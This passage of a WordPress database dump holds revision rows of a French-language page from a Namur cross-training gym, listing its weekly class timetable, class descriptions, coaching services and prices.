class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-409\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 18:59:35', '2014-01-18 18:59:35', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(494, 3, '2015-09-02 17:04:16', '2015-09-02 17:04:16', '', 'nouvelles seances CT', '', 'inherit', 'open', 'open', '', 'nouvelles-seances-ct', '', '', '2015-09-02 17:04:16', '2015-09-02 17:04:16', '', 363, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png', 0, 'attachment', 'image/png', 0),
(413, 1, '2014-01-18 19:04:21', '2014-01-18 19:04:21', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nZumba&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nZumba&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;img class=\&quot;alignnone size-full wp-image-409\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-01-18 19:04:21', '2014-01-18 19:04:21', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(414, 1, '2014-01-18 19:05:20', '2014-01-18 19:05:20', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nZumba&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nZumba&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot; target=\&quot;_blank\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www2.crosstrainingcenter.be/contact-2/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 